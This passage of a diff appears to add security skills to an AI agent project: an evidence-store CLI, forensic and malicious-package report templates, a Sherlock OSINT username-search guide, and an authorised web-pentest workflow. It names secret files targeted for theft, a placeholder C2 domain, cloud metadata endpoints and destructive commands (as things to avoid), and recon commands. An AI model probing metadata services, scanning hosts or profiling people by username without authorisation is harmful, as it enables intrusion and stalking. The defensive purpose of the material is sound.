||||
expected = _sha256(entry["content"])
|
||||
stored = entry.get("content_sha256", "")
|
||||
if expected != stored:
|
||||
issues.append({
|
||||
"id": entry["id"],
|
||||
"stored_sha256": stored,
|
||||
"computed_sha256": expected,
|
||||
})
|
||||
return issues
|
||||
|
||||
def query(self, keyword: str):
|
||||
"""Search for keyword in content, source, actor, or url."""
|
||||
keyword_lower = keyword.lower()
|
||||
return [
|
||||
e for e in self.data["evidence"]
|
||||
if keyword_lower in (e.get("content", "") or "").lower()
|
||||
or keyword_lower in (e.get("source", "") or "").lower()
|
||||
or keyword_lower in (e.get("actor", "") or "").lower()
|
||||
or keyword_lower in (e.get("url", "") or "").lower()
|
||||
]
|
||||
|
||||
def export_markdown(self) -> str:
|
||||
lines = [
|
||||
"# Evidence Registry",
|
||||
"",
|
||||
f"**Store**: `{self.filepath}`",
|
||||
f"**Last Updated**: {self.data['metadata'].get('last_updated', 'N/A')}",
|
||||
f"**Total Evidence Items**: {len(self.data['evidence'])}",
|
||||
"",
|
||||
"| ID | Type | Source | Actor | Verification | Event Timestamp | URL |",
|
||||
"|----|------|--------|-------|--------------|-----------------|-----|",
|
||||
]
|
||||
for e in self.data["evidence"]:
|
||||
url = e.get("url") or ""
|
||||
url_display = f"[link]({url})" if url else ""
|
||||
lines.append(
|
||||
f"| {e['id']} | {e.get('type','')} | {e.get('source','')} "
|
||||
f"| {e.get('actor') or ''} | {e.get('verification','')} "
|
||||
f"| {e.get('event_timestamp') or ''} | {url_display} |"
|
||||
)
|
||||
lines.append("")
|
||||
lines.append("## Chain of Custody")
|
||||
lines.append("")
|
||||
lines.append("| Evidence ID | Action | Timestamp | Source |")
|
||||
lines.append("|-------------|--------|-----------|--------|")
|
||||
for c in self.data["chain_of_custody"]:
|
||||
lines.append(
|
||||
f"| {c.get('evidence_id','')} | {c.get('action','')} "
|
||||
f"| {c.get('timestamp','')} | {c.get('source','')} |"
|
||||
)
|
||||
return "\n".join(lines)
|
||||
|
||||
def summary(self) -> dict:
|
||||
by_type = {}
|
||||
by_verification = {}
|
||||
actors = set()
|
||||
for e in self.data["evidence"]:
|
||||
t = e.get("type", "unknown")
|
||||
by_type[t] = by_type.get(t, 0) + 1
|
||||
v = e.get("verification", "unverified")
|
||||
by_verification[v] = by_verification.get(v, 0) + 1
|
||||
if e.get("actor"):
|
||||
actors.add(e["actor"])
|
||||
return {
|
||||
"total": len(self.data["evidence"]),
|
||||
"by_type": by_type,
|
||||
"by_verification": by_verification,
|
||||
"unique_actors": sorted(actors),
|
||||
}
|
||||
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser(
|
||||
description="OSS Forensics Evidence Store Manager v2.0",
|
||||
formatter_class=argparse.RawDescriptionHelpFormatter,
|
||||
)
|
||||
parser.add_argument("--store", default="evidence.json", help="Path to evidence JSON file (default: evidence.json)")
|
||||
|
||||
subparsers = parser.add_subparsers(dest="command", metavar="COMMAND")
|
||||
|
||||
# --- add ---
|
||||
add_p = subparsers.add_parser("add", help="Add a new evidence entry")
|
||||
add_p.add_argument("--source", required=True, help="Where this evidence came from (e.g. 'git fsck', 'GH API /commits')")
|
||||
add_p.add_argument("--content", required=True, help="The evidence content (commit SHA, API response excerpt, etc.)")
|
||||
add_p.add_argument("--type", required=True, choices=EVIDENCE_TYPES, dest="evidence_type", help="Evidence type")
|
||||
add_p.add_argument("--actor", help="GitHub handle or email of associated actor")
|
||||
add_p.add_argument("--url", help="URL to original source")
|
||||
add_p.add_argument("--timestamp", help="When the event occurred (ISO 8601)")
|
||||
add_p.add_argument("--ioc-type", choices=IOC_TYPES, help="IOC subtype (for --type ioc)")
|
||||
add_p.add_argument("--verification", choices=VERIFICATION_STATES, default="unverified")
|
||||
add_p.add_argument("--notes", help="Additional investigator notes")
|
||||
add_p.add_argument("--quiet", action="store_true", help="Suppress success message")
|
||||
|
||||
# --- list ---
|
||||
list_p = subparsers.add_parser("list", help="List all evidence entries")
|
||||
list_p.add_argument("--type", dest="filter_type", choices=EVIDENCE_TYPES, help="Filter by type")
|
||||
list_p.add_argument("--actor", dest="filter_actor", help="Filter by actor")
|
||||
|
||||
# --- verify ---
|
||||
subparsers.add_parser("verify", help="Verify SHA-256 integrity of all evidence content")
|
||||
|
||||
# --- query ---
|
||||
query_p = subparsers.add_parser("query", help="Search evidence by keyword")
|
||||
query_p.add_argument("keyword", help="Keyword to search for")
|
||||
|
||||
# --- export ---
|
||||
subparsers.add_parser("export", help="Export evidence as a Markdown table (stdout)")
|
||||
|
||||
# --- summary ---
|
||||
subparsers.add_parser("summary", help="Print investigation statistics")
|
||||
|
||||
args = parser.parse_args()
|
||||
|
||||
if not args.command:
|
||||
parser.print_help()
|
||||
sys.exit(0)
|
||||
|
||||
store = EvidenceStore(args.store)
|
||||
|
||||
if args.command == "add":
|
||||
eid = store.add(
|
||||
source=args.source,
|
||||
content=args.content,
|
||||
evidence_type=args.evidence_type,
|
||||
actor=args.actor,
|
||||
url=args.url,
|
||||
timestamp=args.timestamp,
|
||||
ioc_type=args.ioc_type,
|
||||
verification=args.verification,
|
||||
notes=args.notes,
|
||||
)
|
||||
if not getattr(args, "quiet", False):
|
||||
print(f"✓ Added evidence: {eid}")
|
||||
|
||||
elif args.command == "list":
|
||||
items = store.list_evidence(
|
||||
filter_type=getattr(args, "filter_type", None),
|
||||
filter_actor=getattr(args, "filter_actor", None),
|
||||
)
|
||||
if not items:
|
||||
print("No evidence found.")
|
||||
for e in items:
|
||||
actor_str = f" | actor: {e['actor']}" if e.get("actor") else ""
|
||||
url_str = f" | {e['url']}" if e.get("url") else ""
|
||||
print(f"[{e['id']}] {e['type']:12s} | {e['verification']:20s} | {e['source']}{actor_str}{url_str}")
|
||||
|
||||
elif args.command == "verify":
|
||||
issues = store.verify_integrity()
|
||||
if not issues:
|
||||
print(f"✓ All {len(store.data['evidence'])} evidence entries passed SHA-256 integrity check.")
|
||||
else:
|
||||
print(f"✗ {len(issues)} integrity issue(s) detected:")
|
||||
for i in issues:
|
||||
print(f" [{i['id']}] stored={i['stored_sha256'][:16]}... computed={i['computed_sha256'][:16]}...")
|
||||
sys.exit(1)
|
||||
|
||||
elif args.command == "query":
|
||||
results = store.query(args.keyword)
|
||||
print(f"Found {len(results)} result(s) for '{args.keyword}':")
|
||||
for e in results:
|
||||
print(f" [{e['id']}] {e['type']} | {e['source']} | {e['content'][:80]}")
|
||||
|
||||
elif args.command == "export":
|
||||
print(store.export_markdown())
|
||||
|
||||
elif args.command == "summary":
|
||||
s = store.summary()
|
||||
print(f"Total evidence items : {s['total']}")
|
||||
print(f"By type : {json.dumps(s['by_type'], indent=2)}")
|
||||
print(f"By verification : {json.dumps(s['by_verification'], indent=2)}")
|
||||
print(f"Unique actors : {s['unique_actors']}")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -0,0 +1,151 @@
|
||||
# Forensic Investigation Report
|
||||
|
||||
> **Instructions**: Fill in all sections. Every factual claim must cite at least one `[EV-XXXX]` evidence ID.
|
||||
> Remove placeholder text and instruction notes before finalizing. Redact all secrets to `[REDACTED]`.
|
||||
|
||||
---
|
||||
|
||||
## Executive Summary
|
||||
|
||||
**Target Repository**: `OWNER/REPO`
|
||||
**Investigation Period**: YYYY-MM-DD to YYYY-MM-DD
|
||||
**Verdict**: <!-- Compromised / Clean / Inconclusive -->
|
||||
**Confidence Level**: <!-- High / Medium / Low -->
|
||||
**Report Date**: YYYY-MM-DD
|
||||
**Investigator**: <!-- Agent session ID or analyst name -->
|
||||
|
||||
<!-- One paragraph: what was investigated, what was found, what is recommended. -->
|
||||
|
||||
---
|
||||
|
||||
## Timeline of Events
|
||||
|
||||
> All timestamps in UTC. Each event must cite at least one evidence ID.
|
||||
|
||||
| Timestamp (UTC) | Event | Evidence IDs | Source |
|
||||
|-----------------|-------|--------------|--------|
|
||||
| YYYY-MM-DDTHH:MM:SSZ | _Describe event_ | [EV-XXXX] | git / gh_api / gh_archive / web_archive |
|
||||
| | | | |
|
||||
|
||||
---
|
||||
|
||||
## Validated Hypotheses
|
||||
|
||||
### Hypothesis 1: <!-- Short title -->
|
||||
|
||||
**Status**: <!-- VALIDATED / INCONCLUSIVE / REJECTED -->
|
||||
|
||||
**Claim**: _Full statement of the hypothesis._
|
||||
|
||||
**Supporting Evidence**:
|
||||
- [EV-XXXX]: _What this evidence shows_
|
||||
- [EV-YYYY]: _What this evidence shows_
|
||||
|
||||
**Counter-Evidence Considered**: _What might disprove this, and why it was ruled out or not._
|
||||
|
||||
**Confidence**: <!-- High / Medium / Low, and why -->
|
||||
|
||||
---
|
||||
|
||||
## Indicators of Compromise (IOC List)
|
||||
|
||||
| Type | Value | Status | Evidence |
|
||||
|------|-------|--------|----------|
|
||||
| COMMIT_SHA | `abc123...` | Confirmed malicious | [EV-XXXX] |
|
||||
| ACTOR_USERNAME | `handle` | Suspected compromised | [EV-YYYY] |
|
||||
| FILE_PATH | `src/evil.js` | Confirmed malicious | [EV-ZZZZ] |
|
||||
| DOMAIN | `evil-cdn.io` | Confirmed C2 | [EV-WWWW] |
|
||||
|
||||
---
|
||||
|
||||
## Affected Versions
|
||||
|
||||
| Version / Tag | Published | Contains Malicious Code | Evidence |
|
||||
|---------------|-----------|------------------------|----------|
|
||||
| `v1.2.3` | YYYY-MM-DD | Yes / No / Unknown | [EV-XXXX] |
|
||||
|
||||
---
|
||||
|
||||
## Evidence Registry
|
||||
|
||||
> Generated by: `python3 SKILL_DIR/scripts/evidence-store.py --store evidence.json export`
|
||||
|
||||
<!-- Paste the Markdown table output from the evidence-store.py export command here -->
|
||||
|
||||
| ID | Type | Source | Actor | Verification | Event Timestamp | URL |
|
||||
|----|------|--------|-------|--------------|-----------------|-----|
|
||||
| EV-0001 | | | | | | |
|
||||
|
||||
---
|
||||
|
||||
## Chain of Custody
|
||||
|
||||
> Generated by: `python3 SKILL_DIR/scripts/evidence-store.py --store evidence.json export`
|
||||
|
||||
<!-- Paste the chain of custody section from the export output here -->
|
||||
|
||||
| Evidence ID | Action | Timestamp | Source |
|
||||
|-------------|--------|-----------|--------|
|
||||
| EV-0001 | add | | |
|
||||
|
||||
---
|
||||
|
||||
## Technical Findings
|
||||
|
||||
### Git History Analysis
|
||||
|
||||
_Summarize findings from local git analysis: dangling commits, reflog anomalies, unsigned commits, binary additions, etc._
|
||||
|
||||
### GitHub API Analysis
|
||||
|
||||
_Summarize findings from GitHub REST API: deleted PRs/issues, contributor changes, release anomalies, etc._
|
||||
|
||||
### GitHub Archive Analysis
|
||||
|
||||
_Summarize findings from BigQuery: force-push events, delete events, workflow anomalies, member changes, etc._
|
||||
_Note: If BigQuery was unavailable, state this explicitly._
|
||||
|
||||
### Wayback Machine Analysis
|
||||
|
||||
_Summarize findings from archive.org: recovered deleted pages, historical content differences, etc._
|
||||
|
||||
### IOC Enrichment
|
||||
|
||||
_Summarize enrichment results: WHOIS data for domains, recovered commit content, actor account analysis, etc._
|
||||
|
||||
---
|
||||
|
||||
## Recommendations
|
||||
|
||||
### Immediate Actions (If Compromise Confirmed)
|
||||
|
||||
- [ ] Rotate all GitHub tokens, API keys, and credentials that may have been exposed
|
||||
- [ ] Pin dependency versions to hashes in all affected packages
|
||||
- [ ] Publish a security advisory / CVE if applicable
|
||||
- [ ] Notify downstream users/package registries (npm, PyPI, etc.)
|
||||
- [ ] Revoke access for the compromised account and re-secure with hardware 2FA
|
||||
- [ ] Audit all CI/CD workflow files for unauthorized modifications
|
||||
- [ ] Review all releases published during the compromise window
|
||||
|
||||
### Monitoring Recommendations
|
||||
|
||||
- [ ] Enable branch protection on `main`/`master` (require code review, disallow force-push)
|
||||
- [ ] Enable required commit signing (GPG/SSH)
|
||||
- [ ] Set up GitHub audit log streaming for future monitoring
|
||||
- [ ] Pin critical dependencies to known-good SHAs in lock files
|
||||
|
||||
---
|
||||
|
||||
## Limitations and Caveats
|
||||
|
||||
- _List any data sources that were unavailable (e.g., no BigQuery access)_
|
||||
- _Note any evidence that is single-source only (not independently verified)_
|
||||
- _Note any hypotheses that could not be confirmed or denied_
|
||||
|
||||
---
|
||||
|
||||
## References
|
||||
|
||||
- Evidence store: `evidence.json` (SHA-256 integrity: run `python3 SKILL_DIR/scripts/evidence-store.py --store evidence.json verify`)
|
||||
- Related issues: <!-- Link to GitHub issues, CVEs, security advisories -->
|
||||
- RAPTOR framework: https://github.com/gadievron/raptor
|
||||
@@ -0,0 +1,43 @@
|
||||
# Malicious Package Investigation Report
|
||||
|
||||
---
|
||||
|
||||
## 📦 Package Metadata
|
||||
- **Package Name**:
|
||||
- **Registry**: [NPM / PyPI / RubyGems / etc.]
|
||||
- **Affected Versions**:
|
||||
- **Malicious Version(s)**:
|
||||
- **Downloads at Time of Detection**:
|
||||
- **Package URL**:
|
||||
|
||||
---
|
||||
|
||||
## 🚩 Indicators of Compromise (IOCs)
|
||||
- **Malicious URL(s)**:
|
||||
- **Exfiltrated Data Types**: [Environment variables, ~/.ssh/id_rsa, /etc/shadow, etc.]
|
||||
- **Exfiltration Method**: [DNS tunneling, HTTP POST to C2, etc.]
|
||||
- **C2 IP/Domain**:
|
||||
|
||||
---
|
||||
|
||||
## 🛠️ Analysis Summary
|
||||
- **Primary Mechanism**: [Typosquatting / Dependency Confusion / Maintainer Takeover]
|
||||
- **Behavior Description**:
|
||||
- [Example: Installs a postinstall script that exfiltrates environment variables.]
|
||||
- [Example: Patches `setup.py` to download a secondary payload.]
|
||||
|
||||
---
|
||||
|
||||
## 🔍 Evidence Registry
|
||||
| Evidence ID | Type | Source | Description |
|
||||
|-------------|------|--------|-------------|
|
||||
| EV-XXXX | ioc | NPM | Package install script snapshot |
|
||||
| EV-YYYY | web | Wayback| Historical version comparison |
|
||||
|
||||
---
|
||||
|
||||
## 🛡️ Recommended Mitigations
|
||||
1. [ ] Unpublish/Report the package to the registry.
|
||||
2. [ ] Audit `package-lock.json` or `requirements.txt` across all projects.
|
||||
3. [ ] Rotate secrets exfiltrated via environment variables.
|
||||
4. [ ] Pin specific hashes (SHASUM) for mission-critical dependencies.
|
||||
@@ -0,0 +1,193 @@
|
||||
---
|
||||
name: sherlock
|
||||
description: OSINT username search across 400+ social networks. Hunt down social media accounts by username.
|
||||
version: 1.0.0
|
||||
author: unmodeled-tyler
|
||||
license: MIT
|
||||
platforms: [linux, macos, windows]
|
||||
metadata:
|
||||
hermes:
|
||||
tags: [osint, security, username, social-media, reconnaissance]
|
||||
category: security
|
||||
prerequisites:
|
||||
commands: [sherlock]
|
||||
---
|
||||
|
||||
# Sherlock OSINT Username Search
|
||||
|
||||
Hunt down social media accounts by username across 400+ social networks using the [Sherlock Project](https://github.com/sherlock-project/sherlock).
|
||||
|
||||
## When to Use
|
||||
|
||||
- User asks to find accounts associated with a username
|
||||
- User wants to check username availability across platforms
|
||||
- User is conducting OSINT or reconnaissance research
|
||||
- User asks "where is this username registered?" or similar
|
||||
|
||||
## Requirements
|
||||
|
||||
- Sherlock CLI installed: `pipx install sherlock-project` or `pip install sherlock-project`
|
||||
- Alternatively: Docker available (`docker run -it --rm sherlock/sherlock`)
|
||||
- Network access to query social platforms
|
||||
|
||||
## Procedure
|
||||
|
||||
### 1. Check if Sherlock is Installed
|
||||
|
||||
**Before doing anything else**, verify sherlock is available:
|
||||
|
||||
```bash
|
||||
sherlock --version
|
||||
```
|
||||
|
||||
If the command fails:
|
||||
- Offer to install: `pipx install sherlock-project` (recommended) or `pip install sherlock-project`
|
||||
- **Do NOT** try multiple installation methods — pick one and proceed
|
||||
- If installation fails, inform the user and stop
|
||||
|
||||
### 2. Extract Username
|
||||
|
||||
**Extract the username directly from the user's message if clearly stated.**
|
||||
|
||||
Examples where you should **NOT** use clarify:
|
||||
- "Find accounts for nasa" → username is `nasa`
|
||||
- "Search for johndoe123" → username is `johndoe123`
|
||||
- "Check if alice exists on social media" → username is `alice`
|
||||
- "Look up user bob on social networks" → username is `bob`
|
||||
|
||||
**Only use clarify if:**
|
||||
- Multiple potential usernames mentioned ("search for alice or bob")
|
||||
- Ambiguous phrasing ("search for my username" without specifying)
|
||||
- No username mentioned at all ("do an OSINT search")
|
||||
|
||||
When extracting, take the **exact** username as stated — preserve case, numbers, underscores, etc.
|
||||
|
||||
### 3. Build Command
|
||||
|
||||
**Default command** (use this unless user specifically requests otherwise):
|
||||
```bash
|
||||
sherlock --print-found --no-color "<username>" --timeout 90
|
||||
```
|
||||
|
||||
**Optional flags** (only add if user explicitly requests):
|
||||
- `--nsfw` — Include NSFW sites (only if user asks)
|
||||
- `--tor` — Route through Tor (only if user asks for anonymity)
|
||||
|
||||
**Do NOT ask about options via clarify** — just run the default search. Users can request specific options if needed.
|
||||
|
||||
### 4. Execute Search
|
||||
|
||||
Run via the `terminal` tool. The command typically takes 30-120 seconds depending on network conditions and site count.
|
||||
|
||||
**Example terminal call:**
|
||||
```json
|
||||
{
|
||||
"command": "sherlock --print-found --no-color \"target_username\"",
|
||||
"timeout": 180
|
||||
}
|
||||
```
|
||||
|
||||
### 5. Parse and Present Results
|
||||
|
||||
Sherlock outputs found accounts in a simple format. Parse the output and present:
|
||||
|
||||
1. **Summary line:** "Found X accounts for username 'Y'"
|
||||
2. **Categorized links:** Group by platform type if helpful (social, professional, forums, etc.)
|
||||
3. **Output file location:** Sherlock saves results to `<username>.txt` by default
|
||||
|
||||
**Example output parsing:**
|
||||
```
|
||||
[+] Instagram: https://instagram.com/username
|
||||
[+] Twitter: https://twitter.com/username
|
||||
[+] GitHub: https://github.com/username
|
||||
```
|
||||
|
||||
Present findings as clickable links when possible.
|
||||
|
||||
## Pitfalls
|
||||
|
||||
### No Results Found
|
||||
If Sherlock finds no accounts, this is often correct — the username may not be registered on checked platforms. Suggest:
|
||||
- Checking spelling/variation
|
||||
- Trying similar usernames with `?` wildcard: `sherlock "user?name"`
|
||||
- The user may have privacy settings or deleted accounts
|
||||
|
||||
### Timeout Issues
|
||||
Some sites are slow or block automated requests. Use `--timeout 120` to increase wait time, or `--site` to limit scope.
|
||||
|
||||
### Tor Configuration
|
||||
`--tor` requires Tor daemon running. If user wants anonymity but Tor isn't available, suggest:
|
||||
- Installing Tor service
|
||||
- Using `--proxy` with an alternative proxy
|
||||
|
||||
### False Positives
|
||||
Some sites always return "found" due to their response structure. Cross-reference unexpected results with manual checks.
|
||||
|
||||
### Rate Limiting
|
||||
Aggressive searches may trigger rate limits. For bulk username searches, add delays between calls or use `--local` with cached data.
|
||||
|
||||
## Installation
|
||||
|
||||
### pipx (recommended)
|
||||
```bash
|
||||
pipx install sherlock-project
|
||||
```
|
||||
|
||||
### pip
|
||||
```bash
|
||||
pip install sherlock-project
|
||||
```
|
||||
|
||||
### Docker
|
||||
```bash
|
||||
docker pull sherlock/sherlock
|
||||
docker run -it --rm sherlock/sherlock <username>
|
||||
```
|
||||
|
||||
### Linux packages
|
||||
Available on Debian 13+, Ubuntu 22.10+, Homebrew, Kali, BlackArch.
|
||||
|
||||
## Ethical Use
|
||||
|
||||
This tool is for legitimate OSINT and research purposes only. Remind users:
|
||||
- Only search usernames they own or have permission to investigate
|
||||
- Respect platform terms of service
|
||||
- Do not use for harassment, stalking, or illegal activities
|
||||
- Consider privacy implications before sharing results
|
||||
|
||||
## Verification
|
||||
|
||||
After running sherlock, verify:
|
||||
1. Output lists found sites with URLs
|
||||
2. `<username>.txt` file created (default output) if using file output
|
||||
3. If `--print-found` used, output should only contain `[+]` lines for matches
|
||||
|
||||
## Example Interaction
|
||||
|
||||
**User:** "Can you check if the username 'johndoe123' exists on social media?"
|
||||
|
||||
**Agent procedure:**
|
||||
1. Check `sherlock --version` (verify installed)
|
||||
2. Username provided — proceed directly
|
||||
3. Run: `sherlock --print-found --no-color "johndoe123" --timeout 90`
|
||||
4. Parse output and present links
|
||||
|
||||
**Response format:**
|
||||
> Found 12 accounts for username 'johndoe123':
|
||||
>
|
||||
> • https://twitter.com/johndoe123
|
||||
> • https://github.com/johndoe123
|
||||
> • https://instagram.com/johndoe123
|
||||
> • [... additional links]
|
||||
>
|
||||
> Results saved to: johndoe123.txt
|
||||
|
||||
---
|
||||
|
||||
**User:** "Search for username 'alice' including NSFW sites"
|
||||
|
||||
**Agent procedure:**
|
||||
1. Check sherlock installed
|
||||
2. Username + NSFW flag both provided
|
||||
3. Run: `sherlock --print-found --no-color --nsfw "alice" --timeout 90`
|
||||
4. Present results
|
||||
@@ -0,0 +1,333 @@
|
||||
---
|
||||
name: web-pentest
|
||||
description: |
|
||||
Authorized web application penetration testing — reconnaissance, vulnerability
|
||||
analysis, proof-based exploitation, and professional reporting. Adapts
|
||||
Shannon's "No Exploit, No Report" methodology with hard guardrails for
|
||||
scope, authorization, and aux-client leakage. Active testing against running
|
||||
applications you own or have written authorization to test.
|
||||
platforms: [linux, macos]
|
||||
category: security
|
||||
triggers:
|
||||
- "pentest [URL]"
|
||||
- "pentest this app"
|
||||
- "penetration test [URL]"
|
||||
- "security test this web app"
|
||||
- "test [URL] for vulnerabilities"
|
||||
- "find vulns in [URL]"
|
||||
- "OWASP test [URL]"
|
||||
toolsets:
|
||||
- terminal
|
||||
- web
|
||||
- browser
|
||||
- file
|
||||
- delegation
|
||||
---
|
||||
|
||||
# Web Application Penetration Testing
|
||||
|
||||
A phased pentesting workflow for running web applications. Adapted from
|
||||
Shannon's pipeline (Keygraph, AGPL — concepts only, no code borrowed).
|
||||
Built around three rules:
|
||||
|
||||
1. No exploit, no report — every finding requires reproducible evidence.
|
||||
2. Bounded scope — every active request goes against a target the operator
|
||||
pre-declared. Off-scope hosts are refused.
|
||||
3. Bypass exhaustion before false-positive dismissal — a "blocked" payload
|
||||
is not a clean bill of health until you've tried the bypass set.
|
||||
|
||||
---
|
||||
|
||||
## ⚠️ Hard Guardrails — Read Before Every Engagement
|
||||
|
||||
Violating any of these invalidates the engagement and may be illegal.
|
||||
|
||||
1. **Authorization gate.** Before the first active scan in a session, you
|
||||
MUST confirm with the user, in writing, that they own or have written
|
||||
authorization to test the target. Record the acknowledgement in
|
||||
`engagement/authorization.md` (see template). No acknowledgement → no
|
||||
active scanning. Reading public pages with `curl` is fine; sending
|
||||
payloads is not.
|
||||
|
||||
2. **Scope allowlist.** Maintain `engagement/scope.txt` — one hostname or
|
||||
CIDR per line. Every `nmap`, `curl`, `whatweb`, browser navigation, or
|
||||
payload-bearing request MUST be against an entry in scope. If a target
|
||||
redirects you off-scope (3xx to a different host, a link in HTML),
|
||||
STOP and confirm with the user before following.
|
||||
|
||||
3. **No production systems without paper.** If the user hasn't told you
|
||||
"yes, prod is in scope and I have written sign-off," assume not. Default
|
||||
targets are staging, local docker, dedicated test instances.
|
||||
|
||||
4. **Cloud metadata is off by default.** Do not probe `169.254.169.254`,
|
||||
`metadata.google.internal`, `100.100.100.200`, `[fd00:ec2::254]`, or
|
||||
equivalent unless the engagement explicitly includes SSRF-to-metadata
|
||||
as a goal AND the target is one you control. The agent's browser tool
|
||||
can reach these from inside your own infrastructure — don't.
|
||||
|
||||
5. **Destructive payloads need approval.** SQLi payloads that DROP/DELETE,
|
||||
filesystem-write SSTI, command injection with `rm`/`shutdown`/`mkfs`,
|
||||
anything that mutates beyond a single test row → ASK FIRST. The
|
||||
`approval.py` system catches some; don't rely on it alone.
|
||||
|
||||
6. **Aux-client leakage risk (Hermes-specific).** This skill produces
|
||||
sessions full of SQLi/XSS/RCE payloads, captured credentials, JWT
|
||||
tokens. Hermes' compression and title-generation paths replay history
|
||||
through the auxiliary client (often the main model). Anything sensitive
|
||||
you write to the conversation can leave the box on the next compress.
|
||||
Mitigation:
|
||||
- Redact captured tokens/credentials to the LAST 6 CHARS before logging
|
||||
them in any message. Full values go to `engagement/evidence/` files,
|
||||
never into chat history.
|
||||
- If the engagement is sensitive, set `auxiliary.title_generation.enabled: false`
|
||||
in `~/.hermes/config.yaml` for the session.
|
||||
|
||||
7. **Rate limit yourself.** Default 200ms between active requests against
|
||||
any single host. The recon-scan.sh script enforces this. Don't bypass
|
||||
it without operator approval.
|
||||
|
||||
8. **Authority of the report.** This skill produces a security
|
||||
assessment, not a "PASS." Even a clean run is "no exploitable issues
|
||||
FOUND in scope X within time T using methods Y" — not "the application
|
||||
is secure." Mirror that language in the report.
|
||||
|
||||
---
|
||||
|
||||
## Phase 0: Engagement Setup
|
||||
|
||||
Before any scanning happens, create the engagement directory and
|
||||
authorization acknowledgement.
|
||||
|
||||
```bash
|
||||
ENGAGEMENT=engagement-$(date +%Y%m%d-%H%M%S)
|
||||
mkdir -p "$ENGAGEMENT"/{evidence,findings,reports}
|
||||
cd "$ENGAGEMENT"
|
||||
```
|
||||
|
||||
1. **Ask the user (verbatim):**
|
||||
> "Confirm: (a) the target URL is [X], (b) you own this application
|
||||
> or have written authorization to test it, and (c) the engagement
|
||||
> may run for up to [N] hours starting now. Reply 'authorized' to
|
||||
> proceed."
|
||||
|
||||
2. **Wait for explicit `authorized` response.** Any other answer means STOP.
|
||||
|
||||
3. **Record authorization** to `engagement/authorization.md` using the
|
||||
template in `templates/authorization.md`. Include:
|
||||
- Target URL(s) and IP(s)
|
||||
- Authorization basis (ownership / written authz from $name)
|
||||
- Engagement window
|
||||
- Out-of-scope items (production, third-party services, etc.)
|
||||
- Operator name (the user driving this session)
|
||||
|
||||
4. **Build scope.txt:**
|
||||
```
|
||||
localhost
|
||||
127.0.0.1
|
||||
staging.example.com
|
||||
192.168.1.0/24 # internal lab only, with operator OK
|
||||
```
|
||||
|
||||
5. **Read** `references/scope-enforcement.md` before issuing the first
|
||||
active request — that doc has the host-extraction rules you apply
|
||||
to every command/URL before it goes out.
|
||||
|
||||
---
|
||||
|
||||
## Phase 1: Pre-Recon (Code Analysis, optional)
|
||||
|
||||
Skip if no source access (black-box engagement).
|
||||
|
||||
If you have read access to the application source:
|
||||
|
||||
1. **Map the architecture** — framework, routing, middleware stack
|
||||
2. **Inventory sinks** — every `execute(`, `os.system(`, `eval(`,
|
||||
template render, file read/write, redirect target
|
||||
3. **Map auth** — session cookie vs JWT, OAuth flows, password reset,
|
||||
privileged endpoints
|
||||
4. **Identify trust boundaries** — what's authenticated, what's not,
|
||||
what comes from `request.*`
|
||||
5. **Backward taint** from each sink to a request source. Early-terminate
|
||||
when proper sanitization is found (parameterized queries, allowlists,
|
||||
`shlex.quote`, well-known escapers).
|
||||
|
||||
Output: `evidence/pre-recon.md` — architecture map, sink inventory,
|
||||
suspected vulnerable code paths.
|
||||
|
||||
This is OFFLINE work. No traffic to the target.
|
||||
|
||||
---
|
||||
|
||||
## Phase 2: Recon (Live, Read-Only)
|
||||
|
||||
Maps the attack surface. All requests are GETs of public pages, no
|
||||
payloads yet. Still scope-bounded.
|
||||
|
||||
1. **Verify scope.** Resolve every target hostname → IP. Confirm IPs are
|
||||
in scope (avoids the "DNS points somewhere unexpected" trap).
|
||||
|
||||
2. **Network surface** (only if scope permits port scanning):
|
||||
```bash
|
||||
nmap -sT -T3 --top-ports 100 -oN evidence/nmap.txt $TARGET
|
||||
```
|
||||
Use `-T3` (default), not `-T4/-T5`. Stealthier and avoids tripping
|
||||
IDS/IPS in shared environments.
|
||||
|
||||
3. **Tech fingerprint:**
|
||||
```bash
|
||||
whatweb -v $TARGET_URL > evidence/whatweb.txt
|
||||
curl -sIk $TARGET_URL > evidence/headers.txt
|
||||
```
|
||||
|
||||
4. **Endpoint discovery:**
|
||||
- Crawl the app with the browser tool (`browser_navigate`,
|
||||
`browser_get_images`, follow links).
|
||||
- Inspect `robots.txt`, `sitemap.xml`, `.well-known/*`.
|
||||
- Use the developer tools network panel via browser tool to capture
|
||||
XHR/fetch calls.
|
||||
|
||||
5. **Auth surface:** Identify login, registration, password reset,
|
||||
session cookie names, token formats. Do NOT send credentials yet —
|
||||
just observe.
|
||||
|
||||
6. **Correlate with pre-recon** (if you have source). For each
|
||||
`evidence/pre-recon.md` finding, mark whether the live surface
|
||||
confirms it's reachable.
|
||||
|
||||
Output: `evidence/recon.md` — endpoints, technologies, auth model,
|
||||
input vectors.
|
||||
|
||||
---
|
||||
|
||||
## Phase 3: Vulnerability Analysis
|
||||
|
||||
One delegate_task per vulnerability class. Each agent reads
|
||||
`evidence/recon.md` (+ `evidence/pre-recon.md` if present), produces
|
||||
`findings/<class>-queue.json` using `templates/exploitation-queue.json`.
|
||||
|
||||
Use `delegate_task` with these focused subagents (parallel where possible):
|
||||
|
||||
| Class | Goal | Reference |
|
||||
|-------|------|-----------|
|
||||
| `injection` | SQLi, command, path traversal, SSTI, LFI/RFI, deserialization | `references/vuln-taxonomy.md` (slot types) |
|
||||
| `xss` | Reflected, stored, DOM-based | `references/vuln-taxonomy.md` (render contexts) |
|
||||
| `auth` | Login bypass, JWT confusion, session fixation, OAuth flaws | `references/exploitation-techniques.md` |
|
||||
| `authz` | IDOR, vertical/horizontal escalation, business logic | `references/exploitation-techniques.md` |
|
||||
| `ssrf` | Internal reachability, metadata, protocol smuggling | Skip metadata unless explicitly authorized |
|
||||
| `infra` | Misconfig, info disclosure, default creds, exposed admin | `references/exploitation-techniques.md` |
|
||||
|
||||
Each queue entry has: id, vuln class, source (file:line if known),
|
||||
endpoint, parameter, slot type, suspected defense, verdict
|
||||
(`identified` / `partial` / `confirmed` / `critical`), witness payload,
|
||||
confidence (0-1), notes.
|
||||
|
||||
The analysis phase doesn't send malicious payloads yet — it stages them.
|
||||
The exploitation phase actually fires them.
|
||||
|
||||
---
|
||||
|
||||
## Phase 4: Exploitation (Proof-Based, Conditional)
|
||||
|
||||
Only run a sub-agent per class where the analysis queue has actionable
|
||||
entries (`identified` or `partial`).
|
||||
|
||||
For each candidate:
|
||||
|
||||
1. **Pre-send check** — host in scope? auth gate satisfied? payload
|
||||
approved if destructive?
|
